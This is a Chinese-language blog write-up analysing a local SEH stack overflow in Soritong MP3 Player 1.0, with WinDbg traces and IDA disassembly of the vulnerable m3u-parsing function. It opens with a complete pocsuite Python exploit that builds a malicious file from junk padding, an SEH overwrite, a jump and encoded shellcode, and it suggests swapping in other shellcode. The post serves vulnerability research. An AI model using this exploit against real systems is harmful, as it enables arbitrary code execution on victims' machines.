Soritong MP3 Player代码执行漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/a1def037869c831496bda3d81b0d06f5-soritong10.exe

PoC:

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '13918'  # ssvid
    version = '1.0'
    author = ['k0Sh1血战排行榜']
    vulDate = ''
    createDate = '2015-12-31'
    updateDate = '2015-12-31'
    references = ['http://www.sebug.net/vuldb/ssvid-13918']
    name = 'Soritong MP3 Player 1.0 (SKIN) Local Stack Overflow Exploit (SEH)'
    appPowerLink = 'http://www.sorinara.com'
    appName = 'Soritong MP3 Player'
    appVersion = '1.0'
    vulType = 'Local Code Execution'
    desc = '''
        1、使用-attack时,因为seh对应的是汇编指令,不需要进行修改
        2、使用命令
           attack: pocsuite -r test/soritong_exploit.py -u http://localhost --attack
           attack: pocsuite -r test/soritong_exploit.py -u http://localhost --verify
        3、shellcode可以替换成其他功能的shellcode,可根据需要在exploit-db上获得
    '''
    samples = ['']

    def _attack(self):
        result = {}
        #Write your code here
        shellcode = ('\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49'
                    '\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36'
                    '\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34'
                    '\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41'
                    '\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44'
                    '\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47'
                    '\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38'
                    '\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48'
                    '\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c'
                    '\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e'
                    '\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58'
                    '\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44'
                    '\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38'
                    '\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33'
                    '\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47'
                    '\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a'
                    '\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b'
                    '\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53'
                    '\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57'
                    '\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39'
                    '\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46'
                    '\x4e\x46\x43\x36\x42\x50\x5a')
        junk = '\x41' * 580
        next_seh='\xeb\x06\x90\x90'
        seh  = '\xe8\x8d\x01\x10' #
        nops = '\x90' * 1000
        exp = junk + next_seh + seh + shellcode + nops
        f = open('soritongui_exp.txt','w')
        f.write(exp)
        f.close()
        
        return self.parse_output(result)

    def _verify(self):
        result = {}
        #Write your code here
        poc = '\x41' * 1800
        f = open('soritongui_poc.txt','w')
        f.write(poc)
        f.close()
        
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('File Create Failure!')
        return output


register(TestPOC)

测试环境:
Windows xp sp3

这个PoC是基于创宇的Pocsuite写的,也可以提取payload的部分自己生成,仍然是用open,然后write写一个m3u文件即可,然后用soritong播放器打开。引发漏洞,我当时那段时间分析了各种播放器的漏洞,后续随着技能点get,会更新其他软件的分析内容。


漏洞复现


此漏洞是由于Soritong MP3 Player.exe中某函数对于m3u文件格式处理,没有对文件长度进行严格的检查,导致某函数执行时某指针被覆盖,程序读取了一个不可调用的地址,从而触发了SEH异常,再覆盖SEH指针,达到程序可控。

新的PoC我已经提交在Sebug,利用PoC中的--verify生成一个样本文件,运行程序,打开样本文件,附加windbg,漏洞被触发,这次中断在漏洞触发位置。

0:002> g
(3f0.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f874 ebx=41414141 ecx=00000000 edx=0012f840 esi=00000003 edi=00000000
eip=0040baad esp=0012f818 ebp=0012f868 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\SoriTong.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\SoriTong\SoriTong.exe - 
SoriTong!MmutilityC8_4+0x1a1:
0040baad 8b9318020000    mov     edx,dword ptr [ebx+218h] ds:0023:41414359=????????

可以看到,此时ebx+218的值为41414359,而ebx是41414141,这样的操作一般都是指针传递的操作,而此时明显ebx已经被覆盖成了一个不可读的地址,因此触发了SEH异常处理,接下来我们直接运行程序。

0:000> g
(3f0.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012f448 ebp=0012f468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

因为SEH的指针被覆盖,程序继续跳转到41414141,这个地址一旦可控,比如jmp esp,我就可以控制程序整个执行流程,接下来我们kb看一下堆栈调用情况。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f444 7c9232a8 0012f530 0012fa84 0012f54c 0x41414141
0012f468 7c92327a 0012f530 0012fa84 0012f54c ntdll!RtlConvertUlongToLargeInteger+0x6a
0012f518 7c92e46a 00000000 0012f54c 0012f530 ntdll!RtlConvertUlongToLargeInteger+0x3c
0012f868 0040c5ce 41414141 00000000 004a1658 ntdll!KiUserExceptionDispatcher+0xe
0012fb7c 0046b6ab 0012fc7c 0012fc80 0049c0c6 SoriTong!MmutilityC8_4+0xcc2

下面来对此漏洞进行详细的分析。


漏洞分析


首先,我们看到在到达SEH指针前的一处和SoriTong有关的调用,我们来看一下附近的代码。

0040c5bf ff45f0          inc     dword ptr [ebp-10h]
0040c5c2 8b08            mov     ecx,dword ptr [eax]
0040c5c4 51              push    ecx
0040c5c5 8b4508          mov     eax,dword ptr [ebp+8]
0040c5c8 50              push    eax
0040c5c9 e8aef4ffff      call    SoriTong!MmutilityC8_4+0x170 (0040ba7c)

在0040c5c9附近,有一处call函数调用,我们在此函数下断点,重新执行程序,加载样本后,程序在此中断。

0:002> bp 0040c5c9

0:002> g
Breakpoint 0 hit
eax=41414141 ebx=0017039e ecx=00000000 edx=0012fa84 esi=00000003 edi=00000000
eip=0040c5c9 esp=0012f870 ebp=0012fab0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
SoriTong!MmutilityC8_4+0xcbd:
0040c5c9 e8aef4ffff      call    SoriTong!MmutilityC8_4+0x170 (0040ba7c)

可以看到此时eax的值已经变成了41414141这个值,那么此时文件中的内容已经被加载了,我们需要看看加载前的一些情况,以确定在什么位置被加载,为什么会被加载,然后再分析进入漏洞函数后的情况,看看程序有多少个脆弱点。

首先我们找到这个call函数的外层函数的起始位置

sub_40C444 proc near

Buffer= byte ptr -230h
s= byte ptr -130h
FilePart= dword ptr -30h
var_2C= dword ptr -2Ch
var_1C= word ptr -1Ch
var_10= dword ptr -10h
var_8= byte ptr -8
var_4= dword ptr -4
arg_0= dword ptr  8
arg_4= dword ptr  0Ch

push    ebp
mov     ebp, esp
add     esp, 0FFFFFDD0h
push    ebx
push    esi
mov     eax, offset stru_4A1B0C

我们在push ebp的位置下断点,重新加载程序之后,单步执行。

0:000> p
eax=0012faac ebx=0012fbd4 ecx=00000000 edx=00000000 esi=004a1658 edi=00000000
eip=0040c490 esp=0012f878 ebp=0012fab0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SoriTong!MmutilityC8_4+0xb84:
0040c490 8b00            mov     eax,dword ptr [eax]  ds:0023:0012faac=00ae3b3c
0:000> p
eax=00ae3b3c ebx=0012fbd4 ecx=00000000 edx=00000000 esi=004a1658 edi=00000000
eip=0040c492 esp=0012f878 ebp=0012fab0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SoriTong!MmutilityC8_4+0xb86:
0040c492 e8bda50700      call    SoriTong!Enhlistviewinitialization$qqrv+0x43904 (00486a54)

执行到0040c492处的call函数调用时,我们对应在ida pro中找到对应的调用位置,可以观察到此处的call调用其实是一个系统函数的调用。

.text:0040C48D                 lea     eax, [ebp+var_4]
.text:0040C490                 mov     eax, [eax]
.text:0040C492                 call    sub_486A54      ; @Sysutils@SetCurrentDir$qqrx17System@AnsiString

系统函数是SetCurrentDir,猜测与对应的路径获取相关,我们查看一下此时eax的值。

0:000> dc eax
00ae3b3c  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00ae3b4c  74655320 676e6974 64415c73 696e696d   Settings\Admini
00ae3b5c  61727473 5c726f74 e6c3c0d7 0054005c  strator\....\.

正好是m3u的调用路径,那么接下来我们继续单步跟踪。

0:000> p
eax=0012faac ebx=0012fbd4 ecx=00ae3af8 edx=00000000 esi=004a1658 edi=00000000
eip=0040c4bc esp=0012f874 ebp=0012fab0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
SoriTong!MmutilityC8_4+0xbb0:
0040c4bc 51              push    ecx
0:000> p
eax=0012faac ebx=0012fbd4 ecx=00ae3af8 edx=00000000 esi=004a1658 edi=00000000
eip=0040c4bd esp=0012f870 ebp=0012fab0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
SoriTong!MmutilityC8_4+0xbb1:
0040c4bd e806540800      call    SoriTong!Enhlistviewinitialization$qqrv+0x4e778 

程序执行到0040c4bd处又一次进行了call调用,我们继续通过ida观察伪代码。

.text:0040C4B7 loc_40C4B7:                             ; CODE XREF: sub_40C444+6Cj
.text:0040C4B7                 mov     ecx, offset unk_4A1684
.text:0040C4BC
.text:0040C4BC loc_40C4BC:                             ; CODE XREF: sub_40C444+71j
.text:0040C4BC                 push    ecx
.text:0040C4BD                 call    j____open

此时调用了open函数,ecx作为第一个参数被传入,我们看看ecx的值。

0:000> dc 00ae3af8
00ae3af8  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00ae3b08  74655320 676e6974 64415c73 696e696d   Settings\Admini
00ae3b18  61727473 5c726f74 e6c3c0d7 7078655c  strator\....\exp
00ae3b28  75336d2e 4e4f4300 0000003e 00000000  .m3u

可以看到果然是漏洞文件的路径,那么样本就是在此时被打开的,接下来,我们继续单步跟进。

0:000> p
eax=00000003 ebx=0012fbd4 ecx=004b2d98 edx=004b2d98 esi=00000003 edi=00000000
eip=0040c4f0 esp=0012f878 ebp=0012fab0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
SoriTong!MmutilityC8_4+0xbe4:
0040c4f0 56              push    esi
0:000> p
eax=00000003 ebx=0012fbd4 ecx=004b2d98 edx=004b2d98 esi=00000003 edi=00000000
eip=0040c4f1 esp=0012f874 ebp=0012fab0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
SoriTong!MmutilityC8_4+0xbe5:
0040c4f1 e8ca4e0800      call    SoriTong!Enhlistviewinitialization$qqrv+0x4e270 (004913c0)
0:000> p
eax=000001f4 ebx=0012fbd4 ecx=00000003 edx=004b2de0 esi=00000003 edi=00000000
eip=0040c4f6 esp=0012f874 ebp=0012fab0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SoriTong!MmutilityC8_4+0xbea:
0040c4f6 59              pop     ecx

在0040c4f1处的call函数调用完成后,eax的值被修改成了十六进制的1f4

0:000> r eax
eax=000001f4

转换成十进制后是500,正好是我们样本文件长度,那么此时正好获取了长度,接下来我们通过ida pro来看一下这段代码。

.text:0040C502                 mov     ebx, eax
.text:0040C504                 push    esi             ; handle
.text:0040C505                 call    _filelength
.text:0040C50A                 pop     ecx
.text:0040C50B                 push    eax
.text:0040C50C                 push    ebx
.text:0040C50D                 push    esi
.text:0040C50E                 call    j____read
.text:0040C513                 add     esp, 0Ch
.text:0040C516                 push    esi
.text:0040C517                 call    j____close
.text:0040C51C                 pop     ecx
.text:0040C51D                 push    offset asc_4A1685 ; "\r\n"
.text:0040C522                 push    ebx             ; lpString1
.text:0040C523                 call    lstrcatA
.text:0040C528                 jmp     loc_40C5E7

可以看到0040c50d处执行了read命令,当执行完这处指令之后,读取了样本文件内容,读取长度就是文件大小。

0:000> dc ebx l100
001701a8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001701b8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001701c8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001701d8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001701e8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001701f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170208  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170218  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170228  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170238  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170248  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170258  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170268  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170278  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170288  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170298  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001702a8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001702b8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001702c8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001702d8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001702e8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001702f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170308  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170318  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170328  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170338  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170348  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170358  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170368  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170378  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170388  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00170398  41414141

可以看到,从这里开始,一直到达漏洞函数,程序都没有对样本文件进行有效的长度检查,而到达漏洞函数sub_40ba7c,我们跟进。

sub_40BA7C proc near
push    ebp
mov     ebp, esp
add     esp, 0FFFFFFBCh
mov     eax, offset stru_4A1820
push    ebx
push    esi
push    edi
mov     ebx, [ebp+arg_0]

此时ebp被原来的esp栈顶取代,我们可以通过这里来观察参数的传入情况。

0:000> dd ebp
0012fab0  41414141 41414141 41414141 41414141
0012fac0  41414141 41414141 41414141 41414141
0012fad0  41414141 41414141 41414141 41414141
0012fae0  41414141 41414141 41414141 41414141
0012faf0  41414141 41414141 41414141 41414141
0012fb00  41414141 41414141 41414141 41414141
0012fb10  41414141 41414141 41414141 41414141
0012fb20  41414141 41414141 41414141 41414141

果然ebp已经被畸形字符串作为参数传入了,那么接下来。

0040ba87 53              push    ebx
0040ba88 56              push    esi
0040ba89 57              push    edi
0040ba8a 8b5d08          mov     ebx,dword ptr [ebp+8]

在0040ba8a的位置,ebx被ebp+8的地址赋值,而这里作为存放指针的位置,已经被畸形的41414141覆盖了,ebx自然也被修改成了41414141

0:000> p
eax=004a1820 ebx=0017039e ecx=00000000 edx=0012fa84 esi=00000003 edi=00000000
eip=0040ba8a esp=0012f818 ebp=0012f868 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
SoriTong!MmutilityC8_4+0x17e:
0040ba8a 8b5d08          mov     ebx,dword ptr [ebp+8] ss:0023:0012f870=41414141
0:000> p
eax=004a1820 ebx=41414141 ecx=00000000 edx=0012fa84 esi=00000003 edi=00000000
eip=0040ba8d esp=0012f818 ebp=0012f868 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
SoriTong!MmutilityC8_4+0x181:
0040ba8d e8e23f0800      call    SoriTong!Enhlistviewinitialization$qqrv+0x4c924 (0048fa74)

接下来,我们继续单步执行

0040baa4 ff45f4          inc     dword ptr [ebp-0Ch]
0040baa7 66c745e80800    mov     word ptr [ebp-18h],8
0040baad 8b9318020000    mov     edx,dword ptr [ebx+218h]

在0040baad的位置,这里指针赋值时出现了问题,从而触发了异常处理函数,那么我们通过ida pro的伪代码来观察一下这一块的内容。

int __cdecl sub_40BA7C(int a1, int a2)
{
  int v2; // ecx@1
  int v3; // ST04_4@2
  int v4; // eax@3
  int v5; // ecx@3
  int v6; // esi@3
  int v7; // ST04_4@3
  int v8; // edx@4
  int v10; // ST04_4@9

  __InitExceptBlockLDTC();
  System__AnsiString__AnsiString(&a2, &a2);
  if ( sub_478D64(*(_DWORD *)(*(_DWORD *)(a1 + 536) + 304)) >= 1024 )

可以看到在sub_478d64函数调用前,获取了指针,指针位置是a1+536,正是ebx+218h对应的位置,而这处之前已经说过,被异常字符串覆盖了。

Comments
Write a Comment